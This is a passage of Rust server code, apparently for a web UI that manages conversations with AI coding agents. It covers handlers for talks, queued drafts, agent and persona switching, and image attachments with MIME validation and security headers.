5812 let id = resolve_question(&ui.questions, &id)?;
5813 let Some(html) = ui.questions.panel_html(&id) else {
5814 return Err(ApiError::not_found(format!("question {id} has no panel")));
5815 };
5816 Ok(panel_response(
5817 "text/html; charset=utf-8",
5818 false,
5819 html.into_bytes(),
5820 ))
5821 })
5822 .await
5823}
5824
5825async fn question_asset(
5853 State(ui): State<Arc<Ui>>,
5854 Path((id, name)): Path<(String, String)>,
5855) -> ApiResult<Response> {
5856 if !crate::ask::valid_asset_name(&name) {
5859 return Err(ApiError::bad_request(format!(
5860 "`{name}` is not a usable asset name"
5861 )));
5862 }
5863 blocking(move || {
5864 let id = resolve_question(&ui.questions, &id)?;
5865 let asset = ui
5866 .questions
5867 .panel_asset(&id, &name)
5868 .map_err(|e| ApiError::bad_request(format!("{e:#}")))?;
5869 let Some(bytes) = asset else {
5870 return Err(ApiError::not_found(format!(
5871 "question {id} has no asset `{name}`"
5872 )));
5873 };
5874 Ok(panel_response(
5875 asset_content_type(&name),
5876 is_svg(&name),
5877 bytes,
5878 ))
5879 })
5880 .await
5881}
5882
5883fn asset_content_type(name: &str) -> &'static str {
5896 match extension(name).as_deref() {
5897 Some("png") => "image/png",
5898 Some("jpg" | "jpeg") => "image/jpeg",
5899 Some("gif") => "image/gif",
5900 Some("webp") => "image/webp",
5901 Some("svg") => "image/svg+xml",
5902 Some("css") => "text/css; charset=utf-8",
5903 Some("txt") => "text/plain; charset=utf-8",
5904 _ => "application/octet-stream",
5905 }
5906}
5907
5908fn is_svg(name: &str) -> bool {
5911 extension(name).as_deref() == Some("svg")
5912}
5913
5914fn extension(name: &str) -> Option<String> {
5916 name.rsplit_once('.')
5917 .map(|(_, ext)| ext.to_ascii_lowercase())
5918}
5919
5920fn panel_response(content_type: &'static str, download: bool, body: Vec<u8>) -> Response {
5937 let mut res = (
5938 [
5939 (header::CONTENT_TYPE, content_type),
5940 (header::CONTENT_SECURITY_POLICY, PANEL_CSP),
5941 (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
5942 (header::REFERRER_POLICY, "no-referrer"),
5943 ],
5944 body,
5945 )
5946 .into_response();
5947 if download {
5948 res.headers_mut().insert(
5949 header::CONTENT_DISPOSITION,
5950 HeaderValue::from_static("attachment"),
5951 );
5952 }
5953 res
5954}
5955
5956#[derive(Debug, Serialize)]
5962struct TalkView {
5963 #[serde(flatten)]
5964 talk: Talk,
5965 turn_bodies_md: Vec<Vec<md::Node>>,
5966 thinking: bool,
5974 context: talk::ContextUsage,
5978 operator_name: Option<String>,
5981 persona_name: Option<String>,
5983}
5984
5985impl TalkView {
5986 fn new(talk: Talk, thinking: bool) -> Self {
5989 let cfg = Config::discover(&talk.repo, None).ok().map(|(cfg, _)| cfg);
5990 Self::with_config(talk, thinking, cfg.as_ref())
5991 }
5992
5993 fn with_config(talk: Talk, thinking: bool, cfg: Option<&Config>) -> Self {
5996 let context = talk::context_usage(&talk, cfg);
5997 let turn_bodies_md = talk
5998 .turns
5999 .iter()
6000 .map(|turn| md::to_nodes(&turn.body, &md::ImageBase::None))
6001 .collect();
6002 let specs = cfg.map_or(&[][..], |c| &c.talk.personas[..]);
6003 let persona_name = persona::find(specs, &talk.persona)
6004 .filter(|p| !p.is_default())
6005 .map(|p| p.name);
6006 let operator_name = cfg.and_then(|c| c.talk.operator_name()).map(str::to_owned);
6007 Self {
6008 turn_bodies_md,
6009 thinking,
6010 context,
6011 operator_name,
6012 persona_name,
6013 talk,
6014 }
6015 }
6016}
6017
6018#[derive(Debug, Serialize)]
6023struct TalkDetailView {
6024 #[serde(flatten)]
6025 view: TalkView,
6026 tasks: Vec<TaskView>,
6027 roster: Vec<RosterEntry>,
6030 personas: Vec<PersonaEntry>,
6033}
6034
6035#[derive(Debug, Serialize)]
6037struct PersonaEntry {
6038 id: String,
6039 name: String,
6040}
6041
6042#[derive(Debug, Serialize)]
6044struct RosterEntry {
6045 id: String,
6046 kind: AgentKind,
6047 runnable: bool,
6049}
6050
6051async fn talks_list(
6056 State(ui): State<Arc<Ui>>,
6057 Query(q): Query<ListQuery>,
6058) -> ApiResult<Json<Vec<TalkView>>> {
6059 blocking(move || {
6060 let mut configs: HashMap<PathBuf, Option<Config>> = HashMap::new();
6061 Ok(Json(
6062 ui.talks
6063 .list()
6064 .into_iter()
6065 .filter(|talk| q.contains(&talk.id))
6066 .map(|talk| {
6067 let thinking = ui.is_thinking(&talk.id);
6068 let cfg = configs
6069 .entry(talk.repo.clone())
6070 .or_insert_with(|| Config::discover(&talk.repo, None).ok().map(|(c, _)| c));
6071 TalkView::with_config(talk, thinking, cfg.as_ref())
6072 })
6073 .collect(),
6074 ))
6075 })
6076 .await
6077}
6078
6079#[derive(Debug, Default, Deserialize)]
6084#[serde(default)]
6085struct NewTalk {
6086 agent: Option<String>,
6087 repo: Option<PathBuf>,
6088}
6089
6090async fn talk_post(
6093 State(ui): State<Arc<Ui>>,
6094 body: std::result::Result<Json<NewTalk>, JsonRejection>,
6095) -> ApiResult<impl IntoResponse> {
6096 let body = match body {
6100 Ok(Json(body)) => body,
6101 Err(JsonRejection::MissingJsonContentType(_)) => NewTalk::default(),
6102 Err(e) => return Err(ApiError::bad_request(e.body_text())),
6103 };
6104 let repo = body.repo.clone().unwrap_or_else(|| ui.repo.clone());
6105 let cfg = config_for(&repo).await?;
6106 let view = blocking(move || {
6107 let talk = talk::begin(&ui.talks, &cfg, repo, body.agent.as_deref())?;
6108 let thinking = ui.is_thinking(&talk.id);
6109 Ok(TalkView::new(talk, thinking))
6110 })
6111 .await?;
6112 Ok((StatusCode::CREATED, Json(view)))
6113}
6114
6115async fn talk_detail(
6117 State(ui): State<Arc<Ui>>,
6118 Path(id): Path<String>,
6119) -> ApiResult<Json<TalkDetailView>> {
6120 blocking(move || {
6121 let id = resolve_talk(&ui.talks, &id)?;
6122 let talk = ui.talks.get(&id)?;
6123 let thinking = ui.is_thinking(&talk.id);
6124 let tasks = talk::tasks_of(&ui.queue, &talk.id)
6125 .into_iter()
6126 .map(TaskView::from)
6127 .collect();
6128 let cfg = Config::discover(&talk.repo, None).ok().map(|(cfg, _)| cfg);
6129 let roster = cfg
6130 .as_ref()
6131 .map(|cfg| {
6132 cfg.agents
6133 .iter()
6134 .map(|a| RosterEntry {
6135 id: a.id.clone(),
6136 kind: a.kind,
6137 runnable: agent::installed(a),
6138 })
6139 .collect()
6140 })
6141 .unwrap_or_default();
6142 let specs = cfg
6143 .as_ref()
6144 .map(|cfg| cfg.talk.personas.clone())
6145 .unwrap_or_default();
6146 let personas = persona::catalog(&specs)
6147 .into_iter()
6148 .map(|p| PersonaEntry {
6149 id: p.id,
6150 name: p.name,
6151 })
6152 .collect();
6153 Ok(Json(TalkDetailView {
6154 view: TalkView::with_config(talk, thinking, cfg.as_ref()),
6155 tasks,
6156 roster,
6157 personas,
6158 }))
6159 })
6160 .await
6161}
6162
6163#[derive(Debug, Default, Deserialize)]
6169#[serde(default, deny_unknown_fields)]
6170struct NewTalkTurn {
6171 text: String,
6172 attachments: Vec<String>,
6173}
6174
6175#[derive(Debug, Deserialize)]
6176#[serde(deny_unknown_fields)]
6177struct EditTalkPending {
6178 text: String,
6179 expected_text: String,
6180 expected_attachments: Vec<String>,
6181}
6182
6183#[derive(Debug, Deserialize)]
6184#[serde(deny_unknown_fields)]
6185struct ClearTalkPending {
6186 expected_text: String,
6187 expected_attachments: Vec<String>,
6188}
6189
6190async fn talk_say(
6202 State(ui): State<Arc<Ui>>,
6203 Path(id): Path<String>,
6204 body: std::result::Result<Json<NewTalkTurn>, JsonRejection>,
6205) -> ApiResult<(StatusCode, Json<TalkView>)> {
6206 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
6207 if body.text.trim().is_empty() && body.attachments.is_empty() {
6208 return Err(ApiError::bad_request("say something"));
6209 }
6210
6211 let id = {
6212 let ui = Arc::clone(&ui);
6213 let asked = id.clone();
6214 blocking(move || resolve_talk(&ui.talks, &asked)).await?
6215 };
6216 {
6220 let ui = Arc::clone(&ui);
6221 let id = id.clone();
6222 blocking(move || {
6223 let talk = ui.talks.get(&id)?;
6224 if !talk.status.open() {
6225 return Err(ApiError::conflict(format!(
6226 "talk {} is {} and takes no more turns",
6227 talk.short(),
6228 talk.status.as_str()
6229 )));
6230 }
6231 Ok(())
6232 })
6233 .await?;
6234 }
6235
6236 let attachments = {
6241 let ui = Arc::clone(&ui);
6242 let id = id.clone();
6243 let ids = body.attachments.clone();
6244 blocking(move || {
6245 ids.into_iter()
6246 .map(|att_id| {
6247 ui.talks.attachment_meta(&id, &att_id)?.ok_or_else(|| {
6248 ApiError::bad_request(format!("unknown attachment `{att_id}`"))
6249 })
6250 })
6251 .collect::<ApiResult<Vec<talk::Attachment>>>()
6252 })
6253 .await?
6254 };
6255
6256 let start = {
6261 let ui = Arc::clone(&ui);
6262 let id = id.clone();
6263 blocking(move || ui.begin_talk_turn_unless_pending(&id)).await?
6264 };
6265 let turn_guard = match start {
6266 TalkTurnStart::Claimed(turn_guard) => turn_guard,
6267 TalkTurnStart::Pending => {
6268 return Err(ApiError::conflict(
6269 "a queued draft is waiting; resume it, edit it, or clear it before sending another message",
6270 ));
6271 }
6272 TalkTurnStart::Foreign => {
6273 return Err(ApiError::conflict(
6274 "a turn is already running in another process; try again when it has finished",
6275 ));
6276 }
6277 TalkTurnStart::Busy => {
6278 let (tx, rx) = tokio::sync::oneshot::channel();
6294 tokio::spawn({
6295 let ui = Arc::clone(&ui);
6296 let id = id.clone();
6297 let said = body.text.clone();
6298 async move {
6299 let written = blocking({
6300 let ui = Arc::clone(&ui);
6301 let id = id.clone();
6302 move || {
6303 let mut talk = ui.talks.get(&id)?;
6304 #[cfg(test)]
6309 if let Some(gate) = ui
6310 .busy_queue_gate
6311 .lock()
6312 .unwrap_or_else(PoisonError::into_inner)
6313 .take()
6314 {
6315 let _ = gate.reached.send(());
6316 let _ = gate.release.recv();
6317 }
6318 if let Err(error) =
6319 talk::queue(&mut talk, &ui.talks, &said, attachments)
6320 {
6321 if let Ok(fresh) = ui.talks.get(&id) {
6322 if !fresh.status.open() {
6323 return Err(ApiError::conflict(format!(
6324 "talk {} is {} and takes no more turns",
6325 fresh.short(),
6326 fresh.status.as_str()
6327 )));
6328 }
6329 }
6330 return Err(ApiError::from(error));
6331 }
6332 let claim = match ui.begin_queued_talk_turn(&id)? {
6343 Some(turn_guard) => {
6344 let (cfg, _) = Config::discover(&talk.repo, None)?;
6345 Some((talk.clone(), cfg, turn_guard))
6346 }
6347 None => None,
6348 };
6349 let thinking = ui.is_thinking(&id);
6350 Ok((TalkView::new(talk, thinking), claim))
6351 }
6352 })
6353 .await;
6354 let (view, reclaimed) = match written {
6355 Ok(pair) => pair,
6356 Err(e) => {
6357 let _ = tx.send(Err(e));
6362 return;
6363 }
6364 };
6365 let _ = tx.send(Ok(view));
6368 if let Some((talk, cfg, turn_guard)) = reclaimed {
6369 let talks = ui.talks.clone();
6370 drain_loop(talk, talks, cfg, id, turn_guard).await;
6371 }
6372 }
6373 });
6374 let view = rx
6375 .await
6376 .map_err(|_| ApiError::internal("the talk turn task ended without answering"))??;
6377 return Ok((StatusCode::ACCEPTED, Json(view)));
6378 }
6379 };
6380
6381 let (talk, cfg) = {
6382 let ui = Arc::clone(&ui);
6383 let id = id.clone();
6384 blocking(move || {
6385 let talk = ui.talks.get(&id)?;
6386 let (cfg, _) = Config::discover(&talk.repo, None)?;
6387 Ok((talk, cfg))
6388 })
6389 .await?
6390 };
6391
6392 let talks = ui.talks.clone();
6393 let (tx, rx) = tokio::sync::oneshot::channel();
6408 tokio::spawn({
6409 let ui = Arc::clone(&ui);
6410 let talks = talks.clone();
6411 let id = id.clone();
6412 let said = body.text.clone();
6413 let mut talk = talk.clone();
6414 async move {
6415 let recorded = blocking({
6416 let talks = talks.clone();
6417 move || {
6418 if let Err(error) = talk::record(&mut talk, &talks, &said, attachments) {
6419 if let Ok(fresh) = talks.get(&talk.id) {
6420 if !fresh.status.open() {
6421 return Err(ApiError::conflict(format!(
6422 "talk {} is {} and takes no more turns",
6423 fresh.short(),
6424 fresh.status.as_str()
6425 )));
6426 }
6427 }
6428 return Err(ApiError::from(error));
6429 }
6430 Ok((said.trim().to_owned(), talk))
6436 }
6437 })
6438 .await;
6439 let (text, mut talk) = match recorded {
6440 Ok(pair) => pair,
6441 Err(e) => {
6442 let _ = tx.send(Err(e));
6446 return;
6447 }
6448 };
6449 let queued = talk.clone();
6450 let thinking = ui.is_thinking(&id);
6451 let _ = tx.send(Ok((queued, thinking)));
6454
6455 if let Err(e) = turn_guard.respond(&mut talk, &talks, &cfg, &text).await {
6456 tracing::warn!("talk {id} turn failed: {e:#}");
6460 }
6461 drain_loop(talk, talks, cfg, id, turn_guard).await;
6464 }
6465 });
6466
6467 let (queued, thinking) = rx
6468 .await
6469 .map_err(|_| ApiError::internal("the talk turn task ended without answering"))??;
6470
6471 Ok((StatusCode::ACCEPTED, Json(TalkView::new(queued, thinking))))
6473}
6474
6475async fn talk_pending_resume(
6479 State(ui): State<Arc<Ui>>,
6480 Path(id): Path<String>,
6481) -> ApiResult<(StatusCode, Json<TalkView>)> {
6482 let id = {
6483 let ui = Arc::clone(&ui);
6484 let asked = id.clone();
6485 blocking(move || resolve_talk(&ui.talks, &asked)).await?
6486 };
6487 let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
6488 return Err(ApiError::conflict(
6489 "a talk turn is already running; the queued draft will be handled by it",
6490 ));
6491 };
6492 let (talk, cfg) = {
6493 let ui = Arc::clone(&ui);
6494 let id = id.clone();
6495 blocking(move || {
6496 let talk = ui.talks.get(&id)?;
6497 if !talk.status.open() {
6498 return Err(ApiError::conflict(format!(
6499 "talk {} is {} and takes no more turns",
6500 talk.short(),
6501 talk.status.as_str()
6502 )));
6503 }
6504 if talk.pending.is_empty() && talk.pending_attachments.is_empty() {
6505 return Err(ApiError::conflict("there is no queued draft to resume"));
6506 }
6507 let (cfg, _) = Config::discover(&talk.repo, None)?;
6508 Ok((talk, cfg))
6509 })
6510 .await?
6511 };
6512 let view = TalkView::new(talk.clone(), true);
6513 let talks = ui.talks.clone();
6514 tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
6515 Ok((StatusCode::ACCEPTED, Json(view)))
6516}
6517
6518async fn drain_loop(mut talk: Talk, talks: Talks, cfg: Config, id: String, turn: TalkTurnGuard) {
6534 let live_set = Arc::clone(&turn.turns);
6535 let mut turn = Some(turn);
6543 loop {
6544 if !turn.as_ref().is_some_and(TalkTurnGuard::owns) {
6545 tracing::warn!("talk {id} lost its turn lease; not draining further");
6548 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
6549 if let Some(turn) = turn.take() {
6550 turn.release(&mut live);
6551 }
6552 break;
6553 }
6554 let observed = live_set
6558 .lock()
6559 .unwrap_or_else(PoisonError::into_inner)
6560 .queued
6561 .get(&id)
6562 .copied()
6563 .unwrap_or(0);
6564 let drained = blocking({
6565 let talks = talks.clone();
6566 move || {
6567 let result = talk::drain(&mut talk, &talks);
6568 Ok((talk, result))
6569 }
6570 })
6571 .await;
6572 let (next_talk, result) = match drained {
6573 Ok(drained) => drained,
6574 Err(e) => {
6575 tracing::warn!(
6576 status = %e.status,
6577 message = %e.message,
6578 "talk {id} could not start queued-text drain"
6579 );
6580 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
6581 turn.take()
6582 .expect("held for the whole loop until released here")
6583 .release(&mut live);
6584 break;
6585 }
6586 };
6587 talk = next_talk;
6588 let drained = match result {
6589 Ok(Some(drained)) => drained,
6590 Ok(None) => {
6591 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
6592 if live.queued.get(&id).copied().unwrap_or(0) != observed {
6593 continue;
6594 }
6595 turn.take()
6596 .expect("held for the whole loop until released here")
6597 .release(&mut live);
6598 break;
6599 }
6600 Err(e) => {
6601 tracing::warn!("talk {id} could not drain queued text: {e:#}");
6602 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
6603 turn.take()
6604 .expect("held for the whole loop until released here")
6605 .release(&mut live);
6606 break;
6607 }
6608 };
6609 let responded = match turn.as_ref() {
6610 Some(turn) => turn.respond(&mut talk, &talks, &cfg, &drained).await,
6611 None => Err(anyhow::anyhow!("the turn guard was released")),
6612 };
6613 if let Err(e) = responded {
6614 tracing::warn!("talk {id} turn failed: {e:#}");
6615 }
6616 }
6617}
6618
6619async fn talk_pending_clear(
6621 State(ui): State<Arc<Ui>>,
6622 Path(id): Path<String>,
6623 body: std::result::Result<Json<ClearTalkPending>, JsonRejection>,
6624) -> ApiResult<Json<TalkView>> {
6625 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
6626 blocking(move || {
6627 let id = resolve_talk(&ui.talks, &id)?;
6628 let mut talk = ui.talks.get(&id)?;
6629 if !talk.status.open() {
6630 return Err(ApiError::conflict(format!(
6631 "talk {} is {} and takes no more turns",
6632 talk.short(),
6633 talk.status.as_str()
6634 )));
6635 }
6636 if !talk::clear_pending_if_matches(
6637 &mut talk,
6638 &ui.talks,
6639 &body.expected_text,
6640 &body.expected_attachments,
6641 )? {
6642 return Err(ApiError::conflict(
6643 "queued message changed; reload it before clearing",
6644 ));
6645 }
6646 let thinking = ui.is_thinking(&talk.id);
6647 Ok(Json(TalkView::new(talk, thinking)))
6648 })
6649 .await
6650}
6651
6652async fn talk_pending_edit(
6656 State(ui): State<Arc<Ui>>,
6657 Path(id): Path<String>,
6658 body: std::result::Result<Json<EditTalkPending>, JsonRejection>,
6659) -> ApiResult<Json<TalkView>> {
6660 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
6661 let (view, reclaimed) = blocking({
6662 let ui = Arc::clone(&ui);
6663 move || {
6664 let id = resolve_talk(&ui.talks, &id)?;
6665 let mut talk = ui.talks.get(&id)?;
6666 if !talk.status.open() {
6667 return Err(ApiError::conflict(format!(
6668 "talk {} is {} and takes no more turns",
6669 talk.short(),
6670 talk.status.as_str()
6671 )));
6672 }
6673 if !talk::edit_pending_text(
6674 &mut talk,
6675 &ui.talks,
6676 &body.text,
6677 &body.expected_text,
6678 &body.expected_attachments,
6679 )? {
6680 return Err(ApiError::conflict(
6681 "queued message changed; reload it before editing",
6682 ));
6683 }
6684 let claim = match ui.begin_queued_talk_turn(&id)? {
6685 Some(turn_guard) => {
6686 let (cfg, _) = Config::discover(&talk.repo, None)?;
6687 Some((talk.clone(), cfg, id.clone(), turn_guard))
6688 }
6689 None => None,
6690 };
6691 let thinking = ui.is_thinking(&id);
6692 Ok((TalkView::new(talk, thinking), claim))
6693 }
6694 })
6695 .await?;
6696 if let Some((talk, cfg, id, turn_guard)) = reclaimed {
6697 let talks = ui.talks.clone();
6698 tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
6699 }
6700 Ok(Json(view))
6701}
6702
6703#[derive(Debug, Deserialize)]
6705struct TalkAgent {
6706 agent: String,
6707}
6708
6709async fn talk_agent(
6714 State(ui): State<Arc<Ui>>,
6715 Path(id): Path<String>,
6716 Json(body): Json<TalkAgent>,
6717) -> ApiResult<Json<TalkView>> {
6718 let id = {
6719 let ui = Arc::clone(&ui);
6720 blocking(move || resolve_talk(&ui.talks, &id)).await?
6721 };
6722 let repo = {
6723 let ui = Arc::clone(&ui);
6724 let id = id.clone();
6725 blocking(move || Ok(ui.talks.get(&id)?.repo)).await?
6726 };
6727 let cfg = config_for(&repo).await?;
6728 let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
6729 return Err(ApiError::conflict(
6730 "a talk turn is running; change the agent once it has answered",
6731 ));
6732 };
6733 let switched = {
6734 let ui = Arc::clone(&ui);
6735 let id = id.clone();
6736 let cfg = cfg.clone();
6737 blocking(move || {
6738 let spec = agent::pick(&cfg.agents, Some(&body.agent), &agent::installed)
6739 .map_err(ApiError::bad_request_from)?;
6740 let mut talk = ui.talks.get(&id)?;
6741 if !talk.status.open() {
6742 return Err(ApiError::conflict(format!(
6743 "talk {} is {} and takes no more turns",
6744 talk.short(),
6745 talk.status.as_str()
6746 )));
6747 }
6748 talk::switch_agent(&mut talk, &ui.talks, &spec)?;
6749 Ok(talk)
6750 })
6751 .await
6752 };
6753 let fresh = {
6758 let ui = Arc::clone(&ui);
6759 let id = id.clone();
6760 blocking(move || Ok(ui.talks.get(&id)?)).await
6761 };
6762 let draining = match fresh {
6763 Ok(talk) => {
6764 let draining = talk.status.open()
6765 && (!talk.pending.is_empty() || !talk.pending_attachments.is_empty());
6766 let talks = ui.talks.clone();
6767 tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
6768 draining
6769 }
6770 Err(_) => false,
6771 };
6772 let talk = switched?;
6773 Ok(Json(TalkView::new(talk, draining)))
6774}
6775
6776#[derive(Debug, Deserialize)]
6778struct TalkPersona {
6779 persona: String,
6780}
6781
6782async fn talk_persona(
6786 State(ui): State<Arc<Ui>>,
6787 Path(id): Path<String>,
6788 Json(body): Json<TalkPersona>,
6789) -> ApiResult<Json<TalkView>> {
6790 let id = {
6791 let ui = Arc::clone(&ui);
6792 blocking(move || resolve_talk(&ui.talks, &id)).await?
6793 };
6794 let repo = {
6795 let ui = Arc::clone(&ui);
6796 let id = id.clone();
6797 blocking(move || Ok(ui.talks.get(&id)?.repo)).await?
6798 };
6799 let cfg = config_for(&repo).await?;
6800 let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
6801 return Err(ApiError::conflict(
6802 "a talk turn is running; change the persona once it has answered",
6803 ));
6804 };
6805 let switched = {
6806 let ui = Arc::clone(&ui);
6807 let id = id.clone();
6808 let cfg = cfg.clone();
6809 blocking(move || {
6810 let Some(chosen) = persona::find(&cfg.talk.personas, &body.persona) else {
6811 return Err(ApiError::bad_request(format!(
6812 "unknown persona `{}`",
6813 body.persona
6814 )));
6815 };
6816 let mut talk = ui.talks.get(&id)?;
6817 if !talk.status.open() {
6818 return Err(ApiError::conflict(format!(
6819 "talk {} is {} and takes no more turns",
6820 talk.short(),
6821 talk.status.as_str()
6822 )));
6823 }
6824 talk::switch_persona(&mut talk, &ui.talks, &chosen.id)?;
6825 Ok(talk)
6826 })
6827 .await
6828 };
6829 let fresh = {
6831 let ui = Arc::clone(&ui);
6832 let id = id.clone();
6833 blocking(move || Ok(ui.talks.get(&id)?)).await
6834 };
6835 let draining = match fresh {
6836 Ok(talk) => {
6837 let draining = talk.status.open()
6838 && (!talk.pending.is_empty() || !talk.pending_attachments.is_empty());
6839 let talks = ui.talks.clone();
6840 tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
6841 draining
6842 }
6843 Err(_) => false,
6844 };
6845 let talk = switched?;
6846 Ok(Json(TalkView::new(talk, draining)))
6847}
6848
6849async fn talk_close(
6851 State(ui): State<Arc<Ui>>,
6852 Path(id): Path<String>,
6853) -> ApiResult<Json<TalkView>> {
6854 blocking(move || {
6855 let id = resolve_talk(&ui.talks, &id)?;
6856 let mut talk = ui.talks.get(&id)?;
6857 talk::close(&mut talk, &ui.talks)?;
6858 let thinking = ui.is_thinking(&talk.id);
6859 Ok(Json(TalkView::new(talk, thinking)))
6860 })
6861 .await
6862}
6863
6864async fn talk_reopen(
6866 State(ui): State<Arc<Ui>>,
6867 Path(id): Path<String>,
6868) -> ApiResult<Json<TalkView>> {
6869 blocking(move || {
6870 let id = resolve_talk(&ui.talks, &id)?;
6871 let mut talk = ui.talks.get(&id)?;
6872 talk::reopen(&mut talk, &ui.talks)?;
6873 let thinking = ui.is_thinking(&talk.id);
6874 Ok(Json(TalkView::new(talk, thinking)))
6875 })
6876 .await
6877}
6878
6879async fn talk_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
6889 blocking(move || {
6890 let id = resolve_talk(&ui.talks, &id)?;
6891 ui.talks.remove(&id)?;
6892 Ok(StatusCode::NO_CONTENT)
6893 })
6894 .await
6895}
6896
6897fn resolve_talk(store: &Talks, id: &str) -> ApiResult<String> {
6899 pick(store.list().into_iter().map(|t| t.id).collect(), id, "talk")
6900}
6901
6902async fn talk_attachment_post(
6905 State(ui): State<Arc<Ui>>,
6906 Path(id): Path<String>,
6907 headers: HeaderMap,
6908 body: Bytes,
6909) -> ApiResult<(StatusCode, Json<talk::Attachment>)> {
6910 let mime = validate_attachment(&headers, &body)?;
6911 let name = filename_header(&headers);
6912 let data = body.to_vec();
6913 blocking(move || {
6914 let id = resolve_talk(&ui.talks, &id)?;
6915 let att = ui.talks.put_attachment(&id, mime, &name, &data)?;
6916 Ok((StatusCode::CREATED, Json(att)))
6917 })
6918 .await
6919}
6920
6921async fn talk_attachment_get(
6924 State(ui): State<Arc<Ui>>,
6925 Path((id, att)): Path<(String, String)>,
6926) -> ApiResult<Response> {
6927 blocking(move || {
6928 let id = resolve_talk(&ui.talks, &id)?;
6929 let Some((meta, data)) = ui.talks.read_attachment(&id, &att)? else {
6930 return Err(ApiError::not_found(format!(
6931 "talk {id} has no attachment `{att}`"
6932 )));
6933 };
6934 Ok(attachment_response(&meta.mime, data))
6935 })
6936 .await
6937}
6938
6939fn validate_attachment(headers: &HeaderMap, data: &[u8]) -> ApiResult<&'static str> {
6950 if data.len() > ATTACHMENT_MAX_BYTES {
6951 return Err(ApiError::bad_request(format!(
6952 "attachment is {} bytes, over the {} MiB limit",
6953 data.len(),
6954 ATTACHMENT_MAX_BYTES / (1024 * 1024)
6955 ))
6956 .with_status(StatusCode::PAYLOAD_TOO_LARGE));
6957 }
6958 if data.is_empty() {
6959 return Err(ApiError::bad_request("attachment is empty"));
6960 }
6961 let declared = declared_mime(headers)?;
6962 match sniffed_mime(data) {
6963 Some(sniffed) if sniffed == declared => Ok(declared),
6964 Some(sniffed) => Err(ApiError::bad_request(format!(
6965 "Content-Type said `{declared}` but the file's own bytes look like `{sniffed}`"
6966 ))),
6967 None => Err(ApiError::bad_request(
6968 "the file's bytes do not match any accepted image format",
6969 )),
6970 }
6971}
6972
6973fn declared_mime(headers: &HeaderMap) -> ApiResult<&'static str> {
6977 let raw = headers
6978 .get(header::CONTENT_TYPE)
6979 .and_then(|v| v.to_str().ok())
6980 .unwrap_or("")
6981 .split(';')
6982 .next()
6983 .unwrap_or("")
6984 .trim()
6985 .to_ascii_lowercase();
6986 ATTACHMENT_MIME_WHITELIST
6987 .iter()
6988 .find(|&&m| m == raw)
6989 .copied()
6990 .ok_or_else(|| {
6991 if raw == "image/svg+xml" {
6992 ApiError::bad_request(
6993 "SVG is not accepted: it can carry active content (e.g. a <script>), \
6994 not just a picture",
6995 )
6996 } else if raw.is_empty() {
6997 ApiError::bad_request("Content-Type is required for an attachment upload")
6998 } else {
6999 ApiError::bad_request(format!(
7000 "`{raw}` is not an accepted attachment type; use image/png, image/jpeg, \
7001 image/gif or image/webp"
7002 ))
7003 }
7004 })
7005}
7006
7007fn sniffed_mime(data: &[u8]) -> Option<&'static str> {
7010 if data.starts_with(b"\x89PNG\r\n\x1a\n") {
7011 Some("image/png")
7012 } else if data.starts_with(b"\xff\xd8\xff") {
7013 Some("image/jpeg")
7014 } else if data.starts_with(b"GIF87a") || data.starts_with(b"GIF89a") {
7015 Some("image/gif")
7016 } else if data.len() >= 12 && &data[0..4] == b"RIFF" && &data[8..12] == b"WEBP" {
7017 Some("image/webp")
7018 } else {
7019 None
7020 }
7021}
7022
7023fn filename_header(headers: &HeaderMap) -> String {
7029 headers
7030 .get(FILENAME_HEADER)
7031 .and_then(|v| v.to_str().ok())
7032 .map(str::trim)
7033 .filter(|s| !s.is_empty())
7034 .unwrap_or("attachment")
7035 .to_owned()
7036}
7037
7038fn attachment_response(mime: &str, body: Vec<u8>) -> Response {
7045 let content_type = ATTACHMENT_MIME_WHITELIST
7046 .iter()
7047 .find(|&&m| m == mime)
7048 .copied()
7049 .unwrap_or("application/octet-stream");
7050 (
7051 [
7052 (header::CONTENT_TYPE, content_type),
7053 (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
7054 ],
7055 body,
7056 )
7057 .into_response()
7058}
7059
7060async fn config_for(repo: &FsPath) -> ApiResult<Config> {
7068 let repo = repo.to_path_buf();
7069 blocking(move || {
7070 let (cfg, _) = Config::discover(&repo, None)?;
7071 Ok(cfg)
7072 })
7073 .await
7074}
7075
7076fn pick(ids: Vec<String>, prefix: &str, what: &str) -> ApiResult<String> {
7082 let mut hits = ids
7083 .into_iter()
7084 .filter(|id| id.starts_with(prefix) || id.ends_with(prefix));
7085 match (hits.next(), hits.next()) {
7086 (Some(one), None) => Ok(one),
7087 (None, _) => Err(ApiError::not_found(format!("no {what} matches `{prefix}`"))),
7088 (Some(a), Some(b)) => Err(ApiError::bad_request(format!(
7089 "`{prefix}` matches more than one {what}, including {a} and {b}"
7090 ))),
7091 }
7092}
7093
7094#[cfg(test)]
7095mod tests {
7096
7097 #[test]
7098 fn holder_reads_the_lease_not_the_record() {
7099 let mut q = Question::new(
7100 "run".to_owned(),
7101 "implement".to_owned(),
7102 "impl-A".to_owned(),
7103 "which?".to_owned(),
7104 String::new(),
7105 Vec::new(),
7106 );
7107 assert_eq!(holder_of(&q, None), None, "no `magi ask` filed it");
7108 q.cwd = Some("/tmp".to_owned());
7109 assert_eq!(holder_of(&q, None), Some("nobody"));
7110 let beat = |kind, ago: i64| ask::Lease {
7111 kind,
7112 pid: 1,
7113 beat_at: jiff::Timestamp::from_second(jiff::Timestamp::now().as_second() - ago)
7114 .unwrap(),
7115 };
7116 let fresh = beat(ask::WaiterKind::Asker, 1);
7117 assert_eq!(holder_of(&q, Some(&fresh)), Some("asker"));
7118 let daemon = beat(ask::WaiterKind::Daemon, 1);
7119 assert_eq!(holder_of(&q, Some(&daemon)), Some("daemon"));
